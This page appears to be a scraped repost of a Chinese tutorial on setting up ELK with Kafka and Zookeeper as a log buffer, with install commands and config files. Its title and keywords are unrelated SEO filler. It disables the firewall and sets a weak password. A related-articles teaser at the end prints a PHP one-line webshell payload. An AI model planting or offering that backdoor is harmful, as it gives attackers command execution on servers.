餐厅网站源码如何搭建app开发平台

web/2025/10/8 14:23:07/文章来源:
餐厅网站源码,如何搭建app开发平台,顾问,移动网站打不开目录 1.背景 2.ELK的配置 2.1.下载 2.2.关闭防火墙 2.3.安装elasticsearch 2.4.安装Logstash 2.5.安装Kibana 2.6.Java日志输出到Logstash 2.7.OSS版本 3.Kafka的配置 3.1.zookeeper搭建 3.2.kafka搭建 4.整合 1.背景 高日志压力情况下#xff0c;为了避免Logsta…目录 1.背景 2.ELK的配置 2.1.下载 2.2.关闭防火墙 2.3.安装elasticsearch 2.4.安装Logstash 2.5.安装Kibana 2.6.Java日志输出到Logstash 2.7.OSS版本 3.Kafka的配置 3.1.zookeeper搭建 3.2.kafka搭建 4.整合 1.背景 高日志压力情况下为了避免Logstash直接向ElasticSearch写入的压力过大导致中间过程堆积采用Logstash——Kafka——Logstash——ElasticSearch的方案由Kafka缓冲一下数据压力。 2.ELK的配置 参见《ELK搭建及Java程序接入》 2.1.下载 官网下载Elasticsearch、Logstash、Kibana https://www.elastic.co/ https://www.elastic.co/cn/downloads/ 我下载的都是7.1.1版本最好统一版本 注意这几个都是试用版过一段时间会过期如果需要长期使用得下载文末的oss版本 2.2.关闭防火墙 systemctl stop firewalld systemctl disable firewalld 2.3.安装elasticsearch 在 Linux 环境中elasticsearch 不允许以 root 权限来运行。 如果以 root 身份运行 elasticsearch会提示这样的错误 can not run elasticsearch as root 解决方法使用非 root 权限账号运行 elasticsearch # 创建用户组 groupadd elk # 创建新用户-g elk 设置其用户组为 elk-p elk 设置其密码为 elk useradd elk -g elk -p elk # 更改 /opt 文件夹及内部文件的所属用户及组为 elk:elk chown -R elk:elk /opt # 假设你的 elasticsearch 安装在 opt 目录下 # 切换账号 su elk 解压elasticsearch tar xzvf elasticsearch-7.1.1-linux-x86_64.tar.gz 运行 cd elasticsearch-7.1.1 bin/elasticsearch 测试 curl http://localhost:9200 默认只能用localhost访问如需开启外部访问需修改配置 vi config/elasticsearch.yml 去掉network.host的注释并修改为本机ip network.host: 0.0.0.0 discovery.seed_hosts: [127.0.0.1,[::1]] 此时启动可能会报错 ERROR: [3] bootstrap checks failed [1]: max file descriptors [4096] for elasticsearch process is too low, increase to at least [65535] [2]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] 如果不配置discovery.seed_hosts会报错 [3]: the default discovery settings are unsuitable for production use; at least one of [discovery.seed_hosts, discovery.seed_providers, cluster.initial_master_nodes] must be configured vm.max_map_count 不低于 262144 问题vm.max_map_count 表示虚拟内存大小它是一个内核参数。elasticsearch 默认要求 vm.max_map_count 不低于 262144。 max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] 解决方法 你可以执行以下命令设置 vm.max_map_count 但是重启后又会恢复为原值。 sysctl -w vm.max_map_count262144 持久性的做法是在 /etc/sysctl.conf 文件中修改 vm.max_map_count 参数 echo vm.max_map_count262144 /etc/sysctl.conf sysctl -p nofile 不低于 65536 问题 nofile 表示进程允许打开的最大文件数。elasticsearch 进程要求可以打开的最大文件数不低于 65536。 解决方法 echo * soft nofile 65536 /etc/security/limits.conf echo * hard nofile 131072 /etc/security/limits.conf reboot重启后即可正常启动 后台启动 nohup bin/elasticsearch service.out 跟踪后台启动的输出 tail -f service.out 看进程 [elklocalhost xx]$ ps -ef|grep opt elk 2095 1750 11 13:42 pts/0 00:02:51 /opt/elasticsearch-7.1.1/jdk/bin/java -Xms1g -Xmx1g -XX:UseConc……/opt/elasticsearch-7.1.1/lib/* org.elasticsearch.bootstrap.Elasticsearch elk 2183 2095 0 13:42 pts/0 00:00:00 /opt/elasticsearch-7.1.1/modules/x-pack-ml/platform/linux-x86_64/bin/controller 2.4.安装Logstash 解压 tar xzvf logstash-7.1.1.tar.gz 运行 cd logstash-7.1.1 bin/logstash -f config/logstash-sample.conf 或后台启动 nohup bin/logstash -f config/logstash-sample.conf service.out 如果没有JAVA_HOME需设置JAVA_HOME注意使用root用户 vi /etc/profile 添加如下内容 export JAVA_HOME/opt/elasticsearch-7.1.1/jdk export CLASSPATH.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar export PATH$PATH:$JAVA_HOME/bin 配置立即生效执行 source /etc/profile 看进程 $ ps -ef|grep opt elk 2460 2317 68 14:01 pts/1 00:03:37 /opt/elasticsearch-7.1.1/jdk/bin/java ……/opt/logstash-7.1.1/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash -f config/logstash-sample.conf 2.5.安装Kibana 解压 tar xzvf kibana-7.1.1-linux-x86_64.tar.gz cd kibana-7.1.1-linux-x86_64 需要修改elasticsearch的ip端口则改一下配置 vi config/kibana.yml 去掉这两行的注释并修改 server.host: 192.168.91.149 #需修改才能从其他机器访问 elasticsearch.hosts: [http://localhost:9200] 运行 bin/kibana 或后台启动 nohup bin/kibana service.out 访问地址 http://localhost:5601 看进程 [elklocalhost kibana-7.1.1-linux-x86_64]$ ps -ef |grep node elk 2658 1750 99 14:09 pts/0 00:00:12 bin/../node/bin/node --no-warnings --max-http-header-size65536 bin/../src/cli 2.6.Java日志输出到Logstash   cd logstash-7.1.1 vi config/logstash.conf 添加如下内容 input {   beats {     port 5044   }   tcp {     # host:port就是上面appender中的 destination     # 这里其实把logstash作为服务开启9250端口接收logback发出的消息     host 0.0.0.0 port 9250 mode server tags [tags] codec json_lines   } }   output {   elasticsearch {     hosts [http://localhost:9200]   } } kill掉原来的logstash后启动 nohup bin/logstash -f config/logstash.conf service.out Java代码修改 pom.xml增加依赖 dependency     groupIdnet.logstash.logback/groupId     artifactIdlogstash-logback-encoder/artifactId     version6.1/version /dependency logback.xml按需调整 appender nameLOGSTASH classnet.logstash.logback.appender.LogstashTcpSocketAppender     !--     destination 是 logstash 服务的 host:port     相当于和 logstash 建立了管道将日志数据定向传输到 logstash     --     destination192.168.91.149:9250/destination     encoder charsetUTF-8 classnet.logstash.logback.encoder.LogstashEncoder/ /appender root levelINFO     !-- appender referenced after it is defined --     appender-ref refSTDOUT/     appender-ref refLOGSTASH / /root 此时启动java程序如果启动成功日志就进入es了 日志查看 进入kibana web页面 点击左侧Discover按钮会自动进入创建索引创建索引logstash-* 点击下一步Next step Time Filter field name选择timestamp点击Create index pattern按钮等待创建索引成功 此时再次点击左侧Discover按钮进入熟悉的索引查询页面了 区分应用 实际应用过程中多个app日志混在一起需要增加额外入库字段进行区分此时修改java程序的logback.xml添加customFields配置节即可。 appender nameLOGSTASH classnet.logstash.logback.appender.LogstashTcpSocketAppender     !--     destination 是 logstash 服务的 host:port     相当于和 logstash 建立了管道将日志数据定向传输到 logstash     --     destination192.168.91.149:9250/destination     encoder charsetUTF-8 classnet.logstash.logback.encoder.LogstashEncoder         customFields{appname:whqtest}/customFields     /encoder /appender   logback.xml也可以采用变量的写法 configuration     !-- 项目的appid --     property nameAPP_ID valuewhqtest/     ………………     appender nameLOGSTASH classnet.logstash.logback.appender.LogstashTcpSocketAppender         !--         destination 是 logstash 服务的 host:port         相当于和 logstash 建立了管道将日志数据定向传输到 logstash         --         destination192.168.91.149:9250/destination         encoder charsetUTF-8 classnet.logstash.logback.encoder.LogstashEncoder             customFields{appname:${APP_ID}}/customFields         /encoder     /appender     ……………… /configuration 2.7.OSS版本 一段时间后启动kibana报错 Elasticsearch cluster did not respond with license information. 需要下载oss版本 https://www.elastic.co/cn/downloads/elasticsearch-oss https://www.elastic.co/cn/downloads/logstash-oss https://www.elastic.co/cn/downloads/kibana-oss OSS版部署问题 如果连接es超时 vi es的目录/config/jvm.options 增大-Xms和-Xmx到2g 增大es连接超时时间 vi config/kibana.yml elasticsearch.requestTimeout: 90000 连接es返回错误master_not_discovered_exception es服务器修改 vi /etc/hostname 设置机器名为node1 node1 vi /etc/hosts 127.0.0.1 node1 vi es目录/config/elasticsearch.yml node.name: node1 discovery.seed_hosts: [127.0.0.1] cluster.initial_master_nodes: [node1] ———————————————— 版权声明本文为CSDN博主「洪岐」的原创文章遵循 CC 4.0 BY-SA 版权协议转载请附上原文出处链接及本声明。 原文链接https://blog.csdn.net/whq12789/article/details/92832436 3.Kafka的配置 3.1.zookeeper搭建 参见《centos7 zookeeper3.5.6单点部署》 官网下载 https://zookeeper.apache.org/ 下载 https://zookeeper.apache.org/releases.html 直接部署的包 https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/current/apache-zookeeper-3.5.6-bin.tar.gz 源码包下载这个比较麻烦需要安装maven然后mvn package进行编译 https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/current/apache-zookeeper-3.5.6.tar.gz 部署 #安装jdk1.8  yum install -y java-1.8.0-openjdk #部署zookeeper tar xvzf apache-zookeeper-3.5.6-bin.tar.gz mv apache-zookeeper-3.5.6-bin /opt cd /opt/apache-zookeeper-3.5.6-bin/conf cp zoo_sample.cfg zoo.cfg vi zoo.cfg 修改 dataDir/data/zookeeper #该目录为数据保存目录 mkdir -p /data/zookeeper cd /opt/apache-zookeeper-3.5.6-bin/ bin/zkServer.sh start 输出如下STARTED表示成功。 ZooKeeper JMX enabled by default Using config: /opt/apache-zookeeper-3.5.6-bin/bin/../conf/zoo.cfg Starting zookeeper ... STARTED 连接测试 bin/zkCli.sh -server 127.0.0.1:2181 出现如下命令输入框则表示连接成功 WatchedEvent state:SyncConnected type:None path:null [zk: 127.0.0.1:2181(CONNECTING) 0] 此时输入 ls / 可以查看zookeeper根目录有一个zookeeper文件 [zk: 127.0.0.1:2181(CONNECTED) 2] ls / [zookeeper] ———————————————— 版权声明本文为CSDN博主「洪岐」的原创文章遵循 CC 4.0 BY-SA 版权协议转载请附上原文出处链接及本声明。 原文链接https://blog.csdn.net/whq12789/article/details/103122786 3.2.kafka搭建 参见《centos7 kafka2.3.1单点部署》 kafka下载 http://kafka.apache.org/downloads http://mirrors.tuna.tsinghua.edu.cn/apache/kafka/2.3.1/kafka_2.12-2.3.1.tgz 部署 tar xvzf kafka_2.12-2.3.1.tgz mv kafka_2.12-2.3.1 /opt/ cd /opt/kafka_2.12-2.3.1/ vi config/server.properties 修改 listenersPLAINTEXT://192.168.81.145:9092    #注意这里一定要有客户端可访问的ip否则非本机连接调用第二次会异常 log.dirs/data/kafka-logs 启动 bin/kafka-server-start.sh config/server.properties 如果输出出现 [2019-11-18 15:17:08,052] INFO [KafkaServer id0] started (kafka.server.KafkaServer) 表示成功启动 停止服务 bin/kafka-server-stop.sh  测试 启动生产者 bin/kafka-console-producer.sh --broker-list 192.168.81.145:9092 --topic test 然后随便输入几行消息 启动消费者 bin/kafka-console-consumer.sh --bootstrap-server 192.168.81.145:9092 --topic test --from-beginning 消费者会获取到生产者输入的几行消息 ———————————————— 版权声明本文为CSDN博主「洪岐」的原创文章遵循 CC 4.0 BY-SA 版权协议转载请附上原文出处链接及本声明。 原文链接https://blog.csdn.net/whq12789/article/details/103123372 4.整合 接下来将logstash拷贝出一份改名logstash2 logstash目录的配置修改为 vi config/logstash.conf input {   tcp {     # 这里其实把logstash作为服务开启9250端口接收logback发出的消息     host 0.0.0.0 port 9250 mode server tags [tags] codec json_lines   } } output {   kafka {           bootstrap_servers 192.168.81.145:9092,192.168.81.145:9093,192.168.81.145:9094    # kafka 集群主机           topic_id web-log         # 主题名称会自动创建           #compression_type snappy  # 压缩方式           codec json  #注意这里向kafka输出日志为json格式         } } logstash2目录的配置修改 vi config/logstash.conf     input {        kafka {          bootstrap_servers 192.168.81.145:9092,192.168.81.145:9093,192.168.81.145:9094    # kafka 集群主机          topics_pattern web-log          consumer_threads 5          decorate_events true          auto_offset_reset latest          group_id logstash          codec json   #从kafka中直接取json格式日志         }     } output {         elasticsearch {            hosts [192.168.81.145:9200]            index sc-%{YYYY.MM.dd}         }     } 接下来kill掉logstash然后两个目录下分别执行 nohup bin/logstash -f config/logstash.conf service.out 启动两个logstash服务 启动测试的java程序后 bin/kafka-console-consumer.sh --bootstrap-server 192.168.81.145:9092 --topic web-log 这个就能接收到第一个logstash输入的json日志 kibana中也可以看到elasticsearch中“sc-日期”的索引数据了。 配置过程中参见了 https://www.elastic.co/guide/en/logstash/current/index.html 展开Input plugins和Output plugins有相应的配置说明。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/89094.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

企业网站功能描述泰安人力资源官网

构造一句话PHP木马 <?php eval(system($_POST[shell])); ?> 利用eval函数解析$shell的值使得服务器执行system命令 eval函数是无法直接执行命令的&#xff0c;只能把字符串当作php代码解析 这里我们构造的木马是POST的方式上传&#xff0c;那就用MaxHacKBar来执行 …

如何做网站后台管理员php网站用的是什么语言写的

前阵子一位读者告诉我&#xff0c;某位大厂HR给他发了我之前做的面试题答案合集。 这个消息让我开心了一整天&#x1f602;&#xff0c;因为这说明我之前做的面试题系列真的能帮助到部分测试同学&#xff0c;也算是侧面得到了一种认可吧。 坚持可是我们程序员家族的优良传统&a…

显示网站建设精美页面房山新农村建设网站

参考&#xff1a;自己实现一个SQL解析引擎_曾经的学渣的博客-CSDN博客

做完整的网站设计需要的技术企业策划书范文

简介&#xff1a;欢迎来到未来 您可能听说过人工智能聊天机器人和大型语言模型 (LLM)&#xff0c;对吧&#xff1f; 这些技术奇迹正在重塑企业的沟通和运营方式。 但是&#xff0c;这是一个价值百万美元的问题&#xff1a;哪一个适合您的业务&#xff1f; 让我们深入了解一下&…

网站图片展示源代码长宁集团网站建设

ES6 为数组新增了一些非常有用的 API&#xff0c;这些 API 提高了数组操作的便利性和效率。以下是 ES6 给数组新增的主要 API 及其详细解释和示例&#xff1a; 1. Array.from() Array.from() 方法从类数组对象或可迭代对象创建一个新的数组实例。 const arrayLike {0: a,1:…

哈尔滨网站开发方案上海网站制作网络推广方法

人工智能&#xff08;AI&#xff09;技术的迅猛发展正在深刻改变我们的生活和工作方式。你是否曾想过&#xff0c;未来的工作场景会是什么样子&#xff1f;AI的崛起不仅仅是科技的进步&#xff0c;更是我们生活方式的革命。今天&#xff0c;我们将深入探讨三种主要的AI能力&…

故城县网站建设服务商业网站开发

Android Jetpack组件架构&#xff1a;ViewModel的原理 导言 本篇文章是关于介绍ViewModel的&#xff0c;由于ViewModel的使用还是挺简单的&#xff0c;这里就不再介绍其的基本应用&#xff0c;我们主要来分析ViewModel的原理。 ViewModel的生命周期 众所周知&#xff0c;一般…

张家口建站优化可以推广发广告的app

Fiber 上篇文章fiber简单理解记录了react fiber架构&#xff0c;Hooks是基于fiber链表来实现的。阅读以下内容时建议先了解react fiber。 jsx -> render function -> vdom -> fiber树 -> dom vdom 转 fiber 的过程称为 recocile。diff算法就是在recocile这个过程…

济宁祥云网站建设360弹出网站

django部署在iis下&#xff0c;webconfig错误错误原因&#xff1a;iis7以后&#xff0c;web.config管理机制更安全了默认情况下&#xff0c;会锁住配置项&#xff0c;不许修改怎么办&#xff1f;如何求解以上问题呢&#xff1f;D:django_websiteshello>%windir%C:Windows 不…

花木网站建设龙华网站建设设计公司

当MySQL使用Unix Socket启动时&#xff0c;直接使用localhost会发生了一个数据库错误&#xff0c;发生无法连接数据库错误。 Warning: mysql_connect() [function.mysql-connect]: [2002] 这时应当修改hostname&#xff0c;例如在CI 配置数据库 (database.php) 从&#xff1a; …

建立企业网站的技能wordpress扁平主题

首先唱名&#xff08;do、re、mi、fa、sol、la、si 1234567&#xff09;先对应在 小字一组上&#xff0c;一般调号 1c 时都是对应在 小字一组上 然后从 小字一组 开始往左或往右&#xff0c;往左的音是越低的&#xff0c;往右的音是越高的&#xff0c;这时也需要给唱名&#xf…

鞍山最新消息动态ip做网站影响seo吗

题目描述 mobiusp 创作了一首 n 个音符的乐曲&#xff0c;其中第 iii 个音符的音高为 ai​ &#xff0c;但是 mobiusp 对以前的创作风格和黑历史很不满意&#xff0c;他希望所有音符的音高 ai 都是 1∼7 的正整数&#xff0c;且相邻的音高差不超过 k 。 现在他要修改若干个音符…

安徽省建设工程造价管理总站网站网站公司名称大全

通过接口实现多态 接口中声明若干个 bstract方法&#xff1b; 方法体的内容细节由实现接口的类去完成&#xff0c;不同的类有 不同的实现方式 → 则接口变量在回调接口方法时具有多 种形态。 用接口进行程序设计的核心思想 使用接口回调技术&#xff1a;接口变量存放实现该接口…

企业门户网站 php制作网页方法

2024年3月25日&#xff0c;马来西亚 - BTM 是领先的投资平台&#xff0c;提出一种全新融合安全性、稳定的方式。BTM 坚守增强投资者信心的承诺&#xff0c;运用前沿科技和由 AI 驱动的算法策略&#xff0c;以及实现快速服务的能力&#xff0c;助力投资者自信地应对市场的不断变…

求网站制作图书翻页的动画 做网站启动用

转载自 Java&#xff1a;关于main方法的10道面试题 1.main方法是做什么用的&#xff1f; 2.不用main方法如何运行一个类&#xff1f; 3.main方法如何传递参数&#xff1f;传递参数的类型是什么&#xff1f;能不能改变该参数类型&#xff1f; 4.main方法为什么是静态的&#xff…

基于工作过程的商务网站建设 网页制作网站开发第三方支付

jQuery事件 jQuery事件是对JavaScript事件的封装,常用事件分类 基础事件 鼠标事件键盘事件window事件表单事件绑定事件与移除事件复合事件 鼠标光标悬停鼠标连续点击jQuery基础事件 鼠标事件 鼠标事件是当用户在文档上移动或单击鼠标时而产生的事件 下面是一个使用 Markdow…

淮安市建设工程安全监督站网站做课件的网站有哪些

Java进阶之旅第三天 文章目录 Java进阶之旅第三天TreeMap特点:题目 使用TreeMap进行数据统计题目: TreeMap 特点: 1.TreeMap根TreeSet底层原理一样,都是红黑树结构2.由键决定特性: 不重复,无索引,可排序3.可排序: 对键进行牌序注意: 默认按照键的从小到大进行排序,也可以自己…

建设银行演示网站电子商务网站建设有哪些流程

答&#xff1a; ● 第一次渲染 ○ html结构 解析为 dom树 ○ css样式 解析为 样式规则 ○ dom树 和 样式规则 匹配下&#xff0c;生成渲染树&#xff01; ○ 接下来就是重排&#xff1a;根据渲染树&#xff0c;得到每个盒子的几何信息&#xff08;大小位置&#xff09; ○ 最后…

徐州网站定制公司郑州买房三大网站

《企业文化建设与管理》模拟题 一单选题 1.组织文化包括 A.物质文化&#xff0c;社会文化&#xff0c;精神文化 B.物质文化&#xff0c;精神文化&#xff0c;政治文化 C.物质文化&#xff0c;行为文化&#xff0c;制度文化 D.物质文化&#xff0c;社会文化&#xff0c;政治文化…

微信公众平台网站开发网站样式用什么做的

来源&#xff1a;199IT互联网数据中心《悬而未决的AI竞赛——全球企业人工智能发展现状》由德勤洞察发布&#xff0c;德勤中国科技、传媒和电信行业编译。为了解全球范围内的企业在应用人工智能技术方面的情况以及所取得的成效&#xff0c;德勤于2018年第三季度针对早期人工智能…